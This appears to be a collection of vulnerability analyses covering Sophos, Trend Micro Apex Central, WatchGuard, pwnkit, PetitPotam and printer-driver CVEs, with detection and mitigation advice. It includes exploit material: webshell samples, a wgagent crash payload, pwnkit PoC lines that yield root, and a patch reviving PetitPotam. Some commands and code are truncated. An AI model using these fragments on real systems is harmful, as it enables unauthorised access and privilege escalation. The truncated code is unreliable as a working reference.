albinolobster@ubuntu:~$ diff -u sophos_unpatched/webconsole/WEB-INF/web.xml sophos_patched/webconsole/WEB-INF/web.xml 
--- sophos_unpatched/webconsole/WEB-INF/web.xml	2022-03-28 10:57:23.841991165 -0700
+++ sophos_patched/webconsole/WEB-INF/web.xml	2022-03-28 10:41:47.757727685 -0700
@@ -12,6 +12,16 @@
+        	<filter-name>RequestCheckFilter</filter-name>
+	        <filter-class>cyberoam.sessionmanagement.RequestCheckFilter</filter-class>
+	</filter>
+	<filter-mapping>
+	        <filter-name>RequestCheckFilter</filter-name>
+	        <url-pattern>/*</url-pattern>
+	</filter-mapping>
+	<filter>

The second change was the introduction of the new filter RequestCheckFilter.class. The entire class is a bit long to fit here, but the interesting part for an unauthenticated attacker follows:

JSONObject jsonObject = null;
String mode = httpRequest.getParameter("mode");
String operation = httpRequest.getParameter("operation");
String dataGridId = httpRequest.getParameter("datagridid");
try {
  CyberoamLogger.debug("RequestCheckFilter", "mode: " + mode);
  CyberoamLogger.debug("RequestCheckFilter", "operation: " + operation);
  CyberoamLogger.debug("RequestCheckFilter", "dataGridId: " + dataGridId);
  if (request.getParameter("json") != null && mode != null) {
    operation = (operation == null) ? "0" : operation;
    dataGridId = (dataGridId == null) ? "0" : dataGridId;
    if (ALL_SESSION_CHECK_EXEMPTED_MODES.contains(Integer.valueOf(Integer.parseInt(mode))) || 
        Integer.parseInt(dataGridId))) {
      jsonObject = new JSONObject(httpRequest.getParameter("json"));
      if (!isvalidJSONKeys(jsonObject)) {
        redirectToLogin(httpRequest, httpResponse);
  } else {
    CyberoamLogger.debug("RequestCheckFilter", "JSON parameter not found in request payload");
  chain.doFilter((ServletRequest)httpRequest, (ServletResponse)httpResponse);

I’m going to skip over talking about all of the mode, operation, and datagrid values as it just complicates things. Generically, this logic examines the request’s HTTP parameters to determine if it needs to pass the attacker provided JSON into a method called isValidJSONKeys. Which looks like this:

private boolean isvalidJSONKeys(JSONObject jsonObject) {
    Iterator<?> jsonkeys = jsonObject.keys();
    while (jsonkeys.hasNext()) {
      String key = (String)jsonkeys.next();
      if (!isAsciiPrintable(key)) {
        CyberoamLogger.info("RequestCheckFilter", "JSON key with non-ASCII printable characters!  key = " + key);
        return false;
    return true;

This method is obviously looping over the keys in the attacker-provided JSON and validating the keys are made up of printable ASCII characters.

An unauthenticated and remote “attacker” can hit this code path relatively easily with a curl:

albinolobster@ubuntu:~/sophos_patched$ curl -v --insecure -H "X-Requested-With: XMLHttpRequest" -X POST '\{"🦞":"test"\}'
*   Trying
* Connected to ( port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: C=NA; ST=NA; L=NA; O=NA; OU=NA; CN=Appliance_Certificate_n7Rmy46scKRgK16; emailAddress=na@example.com
*  start date: Aug  1 00:00:00 2015 GMT
*  expire date: Dec 31 23:59:59 2036 GMT
*  issuer: C=NA; ST=NA; L=NA; O=NA; OU=NA; CN=Default_CA_n7Rmy46scKRgK16; emailAddress=na@example.com
*  SSL certificate verify result: self signed certificate in certificate chain (19), continuing anyway.
> POST /userportal/Controller?mode=8700&operation=1&datagrid=179&json={"🦞":"test"} HTTP/1.1
> Host:
> User-Agent: curl/7.74.0
> Accept: */*
> X-Requested-With: XMLHttpRequest
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Fri, 15 Apr 2022 14:59:50 GMT
< Server: xxxx
< X-Frame-Options: SAMEORIGIN
< Strict-Transport-Security: max-age=31536000
< X-Content-Type-Options: nosniff
< Content-Length: 15
< Cache-Control: max-age=2592000
< Expires: Sun, 15 May 2022 14:59:50 GMT
< Connection: close
* Closing connection 0
* TLSv1.2 (OUT), TLS alert, close notify (256):

Note the {"status":400} response from the server. An unpatched server will respond a little differently:

albinolobster@ubuntu:~/sophos_patched$ curl --insecure -H "X-Requested-With: XMLHttpRequest" -X POST '\{"🦞":"test"\}'
{"status":"Session Expired"}

Since the patch induces a new response from the firewall, we can remotely detect patch status. You can try the same thing on the Webadmin interface and it too generates a slightly different response ({"status":"-2"} when unpatched).

Finally, it might be useful to know that exploitation attempts on a patched server generate the following log in /log/tomcat.log.

2022-04-15 15:59:50,877:INFO:RequestCheckFilter - URI: /userportal/Controller
2022-04-15 15:59:50,877:INFO:RequestCheckFilter - JSON key with non-ASCII printable characters!  key = 🦞


In order to address CVE-2022-1040, Sophos introduced a fairly small patch to filter the JSON content of some HTTP requests. Exploitation attempts will have non-ascii characters in the request’s json parameter’s JSON keys. If your Sophos Firewall is internet facing, it should absolutely have automatic update enabled (the default behavior). If you are in a situation where you can’t do that, you likely shouldn’t be using the internet facing features.

  • Attacker Value
  • Exploitability
Technical Analysis

On March 29, 2022, Trend Micro released a security advisory for a remote code execution vulnerability affecting Apex Central. The vulnerability allegedly allows a remote and unauthenticated attacker to upload an arbitrary file resulting in code execution. Trend Micro assigned this vulnerability, CVE-2022-26871, a CVSSv3 score of 8.6 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H), which is largely inconsistent with remote code execution.

On March 31, 2022, Trend Micro updated their advisory to indicate they had observed “an active attempt of exploitation against this vulnerability in-the-wild … in a very limited number of instances”. At this time, there are no other public reports of successful exploitation or even exploitation attempts. No public proof of concept exploit exists.

While Trend Micro reports exploitation in the wild, widespread exploitation is unlikely. Largely because there are so few internet facing instances, that it would be a stretch to call anything affecting them widespread. Scanning for the software is hindered by the fact that requests to “/” do not forward to the application’s login page, and instead resolves to the default IIS landing page. However, using the default SSL certificate, Shodan shows less than 100 of these are online. Also, Trend Micro reports all SaaS instances were patched on March 9, 2022 (20 days before disclosure).


Unfortunately, the description of CVE-2022-26871 provided by Trend Micro does not contain the actual attack vector:

An arbitrary file upload vulnerability in Trend Micro Apex Central could allow an unauthenticated remote attacker to upload an arbitrary file which could lead to remote code execution.

Apex Central is much more than just a web server. It’s composed of multiple binaries, a number of which are listening for remote connections.


There are two hints that the arbitrary file upload issue is in the web server though. The first is thanks to the product advertisements they’ve placed in their advisory. One IPS rule specifically calls out “HTTP” in the name.


The other hint is in the CVSSv3 vector that Trend Micro created. Every part of Apex Central is running as NT AUTHORITY\SYSTEM except the web server. The web server is configured via IIS to run as NT AUTHORITY\NETWORK SERVICE. I assume that Trend Micro used this lower privileged user to justify the scores of C:L and I:L.

Although, if that is the case, that is absolutely incorrect. C:L and I:L are reserved for cases where no “direct, serious” impact/loss occurs. Attacker execution as NT AUTHORITY\NETWORK SERVICE is C:H and I:H as it does allow an attacker to affect “direct, serious” impact/loss.This is still true even if the attacker is NT AUTHORITY\iusr (see below). It is not lost on the writer that the published vector is scored 8.6 (high) and not 9.8 (critical) as it appears it should be. Of course, there may be mitigating factors to justify the lower score, but those details aren’t offered anywhere in the scant advisory.

Assuming the vector is the web server also leads me to assume the uploaded file is a web shell. This could be completely wrong, but Trend Micro offered no CWE or any other insight so it’s a reasonable starting point. Apex Central’s web content uses ASP, PHP, and compiled exe/dll cgi so there is opportunity for a webshell. However, I also assume that directory traversal is required. Some (not all) of the uploaded content will be placed in an App_Data directory, but executing PHP/ASP out of this path is denied.


But if the attacker can escape upwards, they are free to execute their webshell.


It’s also important to note that Apex Central is strict about file extensions. This is not a scenario in which we can upload r7.gif and still execute PHP. The extensions have to be correct or they won’t be executed:

C:\Users\albinolobster>curl --insecure
<?php echo(exec("whoami")); ?>

C:\Users\albinolobster>curl --insecure
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c whoami")
o = cmd.StdOut.Readall()

In summary, I assume this arbitrary upload vulnerability is a webshell upload where the attacker controls the file path (either absolutely or via path traversal) and the file extension of the created file.

Hunting for the Vulnerability

We were able to acquire two versions of on-prem Apex Central in order to hunt for CVE-2022-26871: the recently patched “Build 6016” and a much older “Build 3752”. The large time gap between versions does not work in our favor, but it’s enough to start with.

The obvious starting point is to find the locations where file upload is allowed, but this is where things start to go off the rails. While there are many places that implement file upload functionality, they largely seem to require authentication. There are a couple of PHP files that allow upload via $_FILES, but they are strict on the file extension and don’t appear to move the file out of upload_tmp_dir which is configured as C:\Program Files (x86)\Trend Micro\Control Manager\PHP\upload_tmp_dir, a path that is outside of the webroot. Here is an example of one of the unexploitable PHP file uploads (https://host/webapp/widget/repository/widgetPool/wp1/widgetComponent/comEEFDE/tmee/uploadfile.php):


    $allowed_ext= array('jpg','jpeg','png','gif');
    $file_name = $_FILES [ 'image' ] [ 'name' ] ;
    $file_ext = strtolower( end(explode('.',$file_name)));
    $file_tmp= $_FILES['image']['tmp_name'];

    $type = pathinfo($file_tmp, PATHINFO_EXTENSION);
    $data = file_get_contents($file_tmp);
    $data = base64_encode($data);

    if(in_array($file_ext,$allowed_ext) === false)
        $error_Msg ='ext_not_valid';
    else if($file_size > 131072)
        $error_Msg = 'size_too_big';
        $error_Msg = 'success';

    $json_data = array("errorMsg"=>"");

    $json_data["errorMsg"] = $error_Msg;
    $json_data["base64"] = $data;

    $json_data = json_encode($json_data);
    header("Content-Type: text/html; charset=utf-8");
    echo rawurlencode($json_data);


Apex Central is also fairly meticulous about catching directory traversal issues. In fact, the diff between the two versions that we have showed the developers introducing traversal checks in places that already had traversal checks. The image below shows WebApp/html/suspiciousObjects/ImportFileHandler.php. Note the original on the left already uses the isDirectoryTraversalOrInvalidExtension call to both check for path traversal and ensure the file extension is csv (ruling out exploitation), but they also add an additional traversal check on the right.


This is actually a recurring theme throughout the code base. It’s almost as if someone was assigned the task of applying additional “..” logic to every user controlled filename, and carried out that task whether it was needed or not (which, honestly, isn’t the worst thing). Although some places really did need it. From sCloudService.cs (although this required authentication):


The code base is also fairly good about not using attacker provided file names, and instead preferring hashes or GUID. Here is an example from YARA file upload where the name and contents are hashed to generate a new filename before the file is dropped to disk for validation by yara.exe (from WebAPIIOCsUtility.NET.dll):


Throughout the code base, these three conditions (unauthenticated, traversal, and file extension control) appear to be kept in check by the developers. Using the two versions we have I was unable to pinpoint a vulnerable location. It could be that our old version is too old, and we were doomed from finding the vulnerability from the beginning. Trend Micro did not say which versions, specifically, were affected so it’s hard to know. It could also be that I’ve overlooked the issue. Or it could be that my original assumptions were bad. Regardless, I didn’t find the issue, but hopefully this is useful to someone.


While I didn’t find the vulnerability myself, nor does Trend Micro give solid information on how to identify potential exploitation, I think you can reasonably assume the following things will aid in preventing or catching exploitation:

  • Keep the system away from the internet.
  • Patch if possible.
  • Monitor for web shell creation in the C:\Program Files (x86)\Trend Micro\Control Manager\WebUI\WebApp and it’s subdirectories.
  • Monitor from malicious behavior originating from w3wp.exe (IIS Worker).
  • Attacker Value
  • Exploitability
Technical Analysis

It’s currently difficult to assess the exact value of this vulnerability because we don’t know how common the vulnerable configuration is. We might not even be aware of all the vulnerable configurations at this time. See the Rapid7 analysis for additional details.


On March 27, 2022 a proof of concept was posted to GitHub. Using the proof of concept, I was able to generate a minimized “crash” proof of concept with curl:

curl -v --insecure -d "<methodCall><methodName>login</methodName><params><param><value><struct><member>"

As I guessed above, this also works against the default administrative web interface (port 8080 on XTMv). Both 4117 and 8080 reply with the same “502 Bad Gateway” upon crash:

albinolobster@ubuntu:~$ curl --insecure -d "<methodCall><methodName>login</methodName><params><param><value><struct><member>"
<head><title>502 Bad Gateway</title></head>
<body bgcolor="white">
<center><h1>502 Bad Gateway</h1></center>

There are two other things worth noting:

  1. The /login endpoint is also vulnerable on port 4117, so don’t key off of /agent/login.
  2. Compressing the payload is not required to exploit the target.

There are some useful indicators if the attacker doesn’t clean up after themselves. First, in the administrative webui’s “Front Panel” dashboard, the “System” overview on the right will contain the number of “Fault Reports” the system has had. These are crash reports. Below you see I have three on my system. On my XTMv install, the maximum number is 3.


If you click through the “Fault Reports” or just navigate to the “Diagnostics” page, you’ll see a listing like the below indicating crashes in wgagent.


On the same page, click the Download a Support Log File and download a support .tar.gz. You’ll find stack traces in /support/debug_log using names such as wgagent.x.stacktrace, where x is a number 1-3.

          Watchguard Crash Report

Appliance time: Mon Mar 28 14:16:48 2022 GMT (UTC+0000)
Process `wgagent' with pid: 2163 / tid: 2163 died unexpectedly on signal 11
  faulty address is 0x0000000000000000, from 0x00007f9047dc61d1

Stack Trace:
 =>  0: 0x00007f9047dc61d1, in module libc.so.6@0x00007f9047ca4000
     1: 0x00007f9048a7cc61, (signal_sigaction+0x1b1), in module libsignal.so@0x00007f9048a79000
     2: 0x00007f904bc1f040, in module libpthread.so.0@0x00007f904bc0f000
     3: 0x00007f9047dc61d1, in module libc.so.6@0x00007f9047ca4000
     4: 0x000000000040573b, in module wgagent@0x0000000000400000
     5: 0x000000000040a774, in module wgagent@0x0000000000400000
     6: 0x000000000040faa7, in module wgagent@0x0000000000400000
     7: 0x00000000004140c7, in module wgagent@0x0000000000400000
     8: 0x00007f904c25408b, in module liblistener.so@0x00007f904c252000
     9: 0x00007f904c25303c, (ListenLoop+0x275), in module liblistener.so@0x00007f904c252000
    10: 0x0000000000414f64, in module wgagent@0x0000000000400000
    11: 0x00007f9047cc5bb5, (__libc_start_main+0xf5), in module libc.so.6@0x00007f9047ca4000
    12: 0x0000000000405179, in module wgagent@0x0000000000400000
  • Attacker Value
    Very High
  • Exploitability
Technical Analysis

Edit on March 28, 2022: On March 27, 2022 a proof of concept was posted to GitHub. I’m leaving the original analysis below and will add a reply comment with some additional information.


On March 17, 2022, GreyNoise published WatchGuard CVE-2022-26318 RCE Detection, IOCs, and Prevention for Defenders. The writeup details GreyNoise’s observation of in-the-wild exploitation of CVE-2022-26318. This is particularly interesting for a few reasons:

  1. The affected WatchGuard products, FireBox and XTM, are firewall/VPN solutions. Making them obvious and delicious targets for attackers.
  2. There are a couple hundred thousand of these on Shodan.
  3. There is no public exploit for CVE-2022-26318. GreyNoise’s limited description is, by far, the most detailed publicly available description of what an exploit for this vulnerability might look like.
  4. CVE-2022-26318 appears to be related to Cyclops Blinked, Sandworm’s VPNFilter 2.0 which was recently unmasked by CISA, NSA, NCSC UK, and the FBI. Neither WatchGuard nor the various government agencies explicitly say the vulnerability is related, but it was the only unauthenticated, remote code execution issue patched at the same time as the Cyclops Blinked publication so it seems like a reasonable assumption.

The lack of proof of concept, or really any useful information about the vulnerability, is unfortunate. The CVE description provides no information about the attack vector or even what the vulnerability class might be. NVD currently has the CWE assigned as “NVD-CWE-noinfo” or “Insufficient Information”:


Patching is not always an option. Being able to mitigate an attack using a firewall is sometimes the only solution. Being able to use network signatures to block exploitation attempts, while not ideal, is sometimes all a defender has. So when NSCS UK only publishes YARA rules (which is useless on a system that blocks access to the filesystem), CISA publishes no mitigation guidance, and WatchGuard only publishes a log parser, defenders are left in a tough spot when attempting to understand their exposure and mitigation options.

Thankfully GreyNoise shared some information. But there are still questions. Is port 4117 the only affected port? Or is the default administrative webui affected as well (hint: I think it is)? Is /agent/login the only vulnerable URI (hint: it isn’t). But there is no official information either way, so who knows.

I figured I could get the answers myself. I could quickly diff the changes between XTMv 12.1.3u7 and 12.1.3u8 and bingo bango you got an exploit. Dear reader. I’ve failed you. I looked at the diffs and I haven’t the faintest idea what this vulnerability is. So what is this write up? Well, just because I failed doesn’t mean you will. I’m going to lay out what I saw and maybe you will have better luck than me.

Getting Started

To start, we need binaries to diff. I snagged the XTMv VMWare Operating System Files here. The most current version, at the time of writing, is 12.1.3 Update 8, which is the first patched version. You can download the last unpatched version, 12.1.3 Update 7, by slightly tweaking the URL for 12.1.3 Update 8.

Once you have the XTMv ova file, go ahead and import it and install it. You don’t need any type of license or key to get a base installation going. From there, snag the underlying .vmdk file and extract the file system using 7zip (e.g. 7z x ./xtmv_12_1_3_U8-disk1.vmdk). You should then get a handful of mountable .img files that contain the XTMv system.

What Now?

Having the entire filesystem is nice. But where do we start? GreyNoise’s writeup says they were seeing the vulnerability being exploited over the HTTP endpoint /agent/login on port 4117. Well, hunting in the filesystem we can find the nginx configuration for the port 4117 server:

albinolobster@ubuntu:/media/albinolobster/5d0ede31-24e7-49b6-b114-abed98c4830f$ cat ./etc/nginx/http-server-wgagent
server {
    listen              4117 ssl;
    listen              [::]:4117 ssl;

    include             fastcgi_params;
    fastcgi_param       SCRIPT_NAME     $fastcgi_script_name;
    fastcgi_param       SCRIPT_FILENAME $document_root$fastcgi_script_name;
    fastcgi_param       WG_SSL_SERVER_CERT /var/run/nginx/server.pem;
    fastcgi_request_buffering off;

    if ($request_method !~ ^(GET|HEAD|POST)$) { return 444; }

    location /agent/ {
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;
        # /agent/file_action can take a while, e.g. backup
        fastcgi_read_timeout    10m;
    location /login {   # no trailing slash
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;
    location /logout {
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;
    location /ping {    # no trailing slash
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;
    location /cluster/ {
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;

This points to the wgagent binary being the binary of interest. It can be found in /usr/bin/.

What Should the Exploit Look Like?

Based on my understanding of GreyNoise’s writeup and the logic contained in wgagent the exploit occurs during authentication. Therefore the exploit is likely to look like a variation on a valid login request like the following:

import requests
import zlib
import binascii
from urllib3.exceptions import InsecureRequestWarning

# Suppress only the single warning from urllib3 needed.

url = ''
login_data = b'<methodCall><methodName>login</methodName><params><param><value><struct><member><name>password</name><value><string>readwrite</string></value></member><member><name>user</name><value><string>admin</string></value></member><member><name>domain</name><value><string>Firebox-DB</string></value></member><member><name>uitype</name><value><string>2</string></value></member></struct></value></param></params></methodCall>'

extra_headers = { 'Content-Encoding': 'gzip' }
comp = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
compressed_login_data = b'\x1f\x8b\x08\x07\x41\x41\x41\x41\x41\x41' 
compressed_login_data += comp.compress(login_data)
compressed_login_data += comp.flush()

print('Uncompressed data length: %u' % len(login_data))
print('Compressed data length: %u' % len(compressed_login_data))

x = requests.post(url, data = compressed_login_data, headers = extra_headers, verify=False)


There are a couple of interesting tidbits about this though:

  1. Compression isn’t required for a login request. wgagent only tries to remove the compression if Content-Encoding: gzip is included (shocking, I know). But GreyNoise noted that the exploits they saw in the wild uses compression… So maybe that’s required for exploitation? Maybe not, who knows!
  2. This request also works on the default administrative webui port (8080). Which implies, to me, that 4117 is not the only vulnerable endpoint. Considering that the default webui is far more likely to be exposed to the internet, it’s a pretty important thing to keep in mind. E.g. You aren’t safe just because you blocked port 4117. Maybe you need to block 8080 as well. Who knows though! (Probably CISA and WatchGuard).

Regardless, the above code hits, at least, part of the desired code path. So now we need to hunt for the vulnerable code. Hopefully aided by binary diffing!


There are a large number of differences between 12.1.3u7 and 12.1.3u8. Unfortunately (or fortunately), WatchGuard fixed five other CVEs and a number of other issues with the update 8 release. Looking at the changes, I had a very hard time determining if some of them were because “Well, we’re in here so might as well tweak this” or actually related to a vulnerability.

Unfortunately, I don’t currently have access to diaphora. This task probably would have been easier with it, but radiff2 + Ghidra is tolerable. The problem is, I couldn’t pinpoint any one thing that looked obviously exploitable… or even “maybe this is exploitable”. The changes seemed to fit into two categories:

Perplexing. Why was this here in the first place? Why did WatchGuard remove it now? A great example, mentioned below, is the !ENTITY logic.
Unnecessary. Why did zlib get updated? Why was password hashing standardized?

The “scary” part is both categories just show my ignorance and, worse, lack of imagination. About 90% of my vulnerability analysis skill is a weird mix of intuition+experience. And, for whatever reason, this diff has me feeling like Gandalf in Moria.

So, I can’t provide useful context to any of this, but I can point out a couple of changes that occurred along the likely exploitation path. Maybe that will spark something in someone else’s brain.

Removal of !ENTITY logic

In the following screenshot you’ll see the unpatched version of wgagent previously search for the string “!ENTITY” in the HTTP POST payload. If found, it walks backwards through the HTTP payload updating the contents to use the local locale for… reasons. Note that this is done before decompression. Odd. But not obviously exploitable (to me).


Update of zlib

WatchGuard XTMv was using a fairly old version of zlib to inflate the compressed HTTP payload. The zlib version being used in the unpatched version, 1.2.8, just so happens to be the same version analyzed by Trail of Bits and TrustInSoft for Mozilla back in 2016. The findings were very theoretical as far as actual exploitation goes, and, to my knowledge, zlib hasn’t had any CVE since that report.

But WatchGuard upgraded to zlib 1.2.11 with this update. Did they need to do that in order to fix this vulnerability? I doubt it. But worth noting.


Add “struct” to the state machine

wgagent uses libxml2 to parse the XML payload. But it does so, in part, by using the push parser which allows them to do some custom and stateful parsing. I very much assume the vulnerability lies in one of these functions. But the only major change was the addition of extraction and cleanup of the “<struct></struct>” tags (cleanup not pictured, and see the payload above to see how <struct> is used).


I cannot actually link this logic to anything useful. The only notable thing is that the XML payload now must have the struct tags, whereas before it was optional. Meaning, in 12.1.3u7 a request without the struct tags is accepted, but in 12.1.3u8 the request is rejected. But, again, I can’t link the added logic to any vulnerability or faulty logic… but this addition does suggest something?. Probably.

Update to standardize password hashing

After the XML parsing, the contents are obviously used for something. In this case, authentication. One change in the authentication world was the change highlighted below. FUN_004153e2 previously converted the provided user’s password into a UTF-16 representation and then MD4 hashed it. This function was deprecated in favor of a new and slightly different version of this functionality in libwgcrypto.so.


Once again, I don’t see anything obviously wrong in FUN_004153e2. Certainly, it makes sense to use a standard implementation in a single library but why make the change in this update?

There are a slew of other changes, but mostly they are related to the memory corruption issues in the upgrade process (I believe). And of course, I was only looking at wgagent and associated libraries. The reality is that the vulnerability could exist elsewhere. But if you are going down this journey yourself, maybe it will help.

Final Thoughts

One thing that should be pointed out about the Cyclops Blink malware, is that the NCSC UK write up only seems to address a PowerPC variant. However, the virtualized version that I tested (XTMv) is x86 based. Does that mean NCSC UK thinks only PowerPC versions of WatchGuard appliances are affected? Or maybe Sandworm only cared about PowerPC? Or NCSC UK only saw PowerPC versions in the wild? It’s these types of questions that a well thought out report would have addressed.

Finally, as I mentioned in a Twitter thread with @wvuuuuuuuuuuuuu and @_darrenmartyn, the GreyNoise observed exploit is sort of mystifying. Why would an attacker that had achieved RCE on a system exfiltrate an entire configuration file? Especially, when the exfiltrated file isn’t the one with usernames and password hashes? Exfiltration via TFTP is just an odd choice. And I’m not sure what to make of the exploit name (test.py). All of that would suggest an unsophisticated attacker to me… but then they’re using a vulnerability I can’t figure out. So who’s the unsophisticated one?

Technical Analysis

CVE-2021-1585 is an unpatched vulnerability that allows a man-in-the-middle or evil endpoint execute code on the victim’s system. See the Rapid7 analysis for additional details.

Technical Analysis


CVE-2021-4034 is a local privilege escalation vulnerability affecting the pkexec utility commonly found on Linux distributions. The vulnerability was discovered by Qualys and given the nickname of pwnkit. The vulnerability was disclosed on January 25, 2022.

Exploitation of the vulnerability allows a low privileged user to escalate to root. While there are many such vulnerabilities published every year, this one is especially interesting because exploitation is trivial, the utility is ubiquitous, and the vulnerability has reportedly existed in the software all the way back to 2009.

This is an excellent finding and a useful exploit. However, as a general reminder, an attacker that has sufficient access to exploit this vulnerability is an attacker already in your system. Remediating this issue should be on your TODO list, but things aren’t on fire here.


There are a number of proof of concept exploits floating around. I like arthepsy’s best, because it’s self-contained and concise. These are the two most critical lines:

char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);

The vulnerability is the result of how pkexec handles a NULL argument array. Above, you can see that pkexec is invoked with that exact condition. The argv[] parameter is set to NULL when calling execve. As described in Qualys’ excellent writeup, an arbitrary environment valuable can be added into pkexec’s environment if execve’s env[0]exists in the directory within the the PATH variable in env[1].

For the exploit to work in the execve above, pwnkit must exist in ./GCONV_PATH=./. Looking at the proof of concept, you can see this is configured on the very first line via a system call:

system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");

Note that, GCONV_PATH is not the only environment variable that could be used here, but it’s the one outlined in Qualy’s writeup and works quite well. GCONV_PATH specific exploitation requires an the attacker also define a CHARSET variable. The CHARSET value can be whatever, but the attacker must make an env[0] directory that contains a gconv-modules file pointing to env[0] (which will be found via PATH). For example, the exploit we are referencing uses CHARSET=PWNKIT so it has to create this file structure:

system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");

If the proof of concept used CHARSET=cheesedoodle then it would have to do this:

system("mkdir -p pwnkit; echo 'module UTF-8// cheesedoodle// pwnkit 2' > pwnkit/gconv-modules");

Note that the “cheesedoodle// pwnkit” describes the defined CHARSET and the implementing shared object. If the shared object was /tmp/pwnkit.so then this would be “cheesedoodle// /tmp/pwnkit”.

The only thing left to do is to create the shared object that pkexec will load when it attempts to print. The reference proof of concept simply writes some C code to a file and then shells out to gcc to compile it.

system("gcc pwnkit/pwnkit.c -o /tmp/pwnkit.so -shared -fPIC");

Which is fine. Not all systems will have gcc installed, but good enough. The only major thing that I need to point out about the C code is that it needs to setuid(0)/ setgid(0), otherwise it’ll be executing as the normal user.

Finally, the proof of concept also has a SHELL environment value set, but that can be set to anything invalid. For example, SHELL=a works fine. Otherwise the PoC works as advertised:

albinolobster@ubuntu:~/pwnkit$ gcc -o poc poc.c
albinolobster@ubuntu:~/pwnkit$ ./poc 
# uname -a
Linux ubuntu 5.11.0-49-generic #55-Ubuntu SMP Wed Jan 12 17:36:34 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
# whoami

Other notes

There has been discussion that exploits should set the GIO_USE_VFS environment variable within their exploit. I haven’t run into this myself (nor tested it), but GitHub user v-rzh explains here. The basic summary is that for some versions of pkexec the environment array will get reallocated before the attacker can write into it unless the following has been set.

setenv ("GIO_USE_VFS", "local", 1);

Useful Links

Technical Analysis

Recently, I was attempting to combine James Forshaw’s remote EFSRPC file write “bug” with a local privilege escalation that I’d discovered. I was getting strange results. Working on one system, but not another at the same patch level. I’d seriously polluted that environment with Windows Endpoint Manager, so I decided to spin up a fresh AD environment in hopes of establishing a trustworthy baseline.

Once I’d stood up the new AD environment, and patched everything completely (through January 2022), I retested my proof of concept and was… unhappy and more than a bit confused with the result. Seeking additional feedback, I grabbed PetitPotam off the shelf since it’s a simpler attack. But that didn’t work either! That’s when I found the following in the event log.

EFS Error

Which lead me to KB5009763: EFS security hardening changes in CVE-2021-43217. CVE-2021-43217 is a buffer overflow affecting EFS, but it isn’t related to what I was attempting to do. Regardless, the way Microsoft decided to address this CVE was to require EFSRPC clients to use packet-level privacy, and, at the time of testing, the PetitPotam proof of concept didn’t.

We can further prove that out by creating the registry key mentioned by the KB to disable this behavior: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EFS\AllowAllCliAuth. Setting this key to ‘1’ allows PetitPotam to successfully leak the NTLM hash, but it also leaves this log message:

EFS Error

Great! PetitPotam still works, but this registry key is unlikely to be enabled in the wild. It doesn’t even exist by default!

The obvious solution is just to enable privacy level authentication in PetitPotam. That happens to be quite trivial. Just use the RpcBindingSetAuthInfo function after the binding handle has been created. The following is a patch I added to my local PetitPotam to test enabling privacy level authentication.

albinolobster@ubuntu:~/PetitPotam$ cat diff 
diff --git a/PetitPotam/PetitPotam.cpp b/PetitPotam/PetitPotam.cpp
index 1885eb2..debbd1e 100644
--- a/PetitPotam/PetitPotam.cpp
+++ b/PetitPotam/PetitPotam.cpp
@@ -1,6 +1,7 @@
 // PetitPotam.cpp : Ce fichier contient la fonction 'main'. L'exécution du programme commence et se termine à cet endroit.
 // Author: GILLES Lionel aka topotam (@topotam77)
+#include <string>
 #include <stdio.h>
 #include <tchar.h>
 #include <assert.h>
@@ -60,6 +61,18 @@ handle_t Bind(wchar_t* target)
 		wprintf(L"Error in RpcBindingFromStringBindingW\n");
+	std::wstring spn(L"HOST/");
+	spn.append(target);
+	RpcStatus = RpcBindingSetAuthInfoW(BindingHandle, reinterpret_cast<RPC_WSTR>(&spn[0]), RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
+	if (RpcStatus != 0)
+	{
+		wprintf(L"Error in RpcBindingFromStringBindingW\n");
+		return(0);
+	}

Note the use of RPC_C_AUTHN_LEVEL_PKT_PRIVACY for the AuthnLevel. This small change is all that is needed to make PetitPotam work again.

Because I experienced a weird update in one of my AD environments, I figured a video demonstrating all of the above would be useful. You can find the video on here.

Technical Analysis

CVE-2021-34481 was the result of two features intended to make the standard (non-administrative) Windows user’s life easier:

  1. Adding a remote printer did not require administrative access. Just point your computer at the remote printer and print.
  2. Adding a printer whose drivers were in the driver store did not require administrative access.

These two mechanisms combined allowed a low privileged Windows user to add arbitrary signed drivers to the driver store and then install them at will. A low privileged user could install a vulnerable print driver and exploit it to achieve SYSTEM privileges. In the DEF CON 29 talk Bring Your Own Vulnerable Print Driver, the example vulnerable drivers were Lexmark Universal Print Driver (CVE-2021-35449) , Canon TR150 Print Driver (CVE-2021-38085), and Ricoh PCL6 Print Driver (CVE-2019-19363).

Microsoft patched this issue by, essentially, removing the ability for a low privileged user to easily install a remote printer.

An exploit with some additional details was posted on GitHub.

Technical Analysis

This authenticated and remote command injection allows a remote attacker to execute code as root. Authentication is the only serious hurdle to exploiting this issue, and it should be noted that SMA 100 series use default credentials for the admin user. For full details see the Rapid7 analysis.
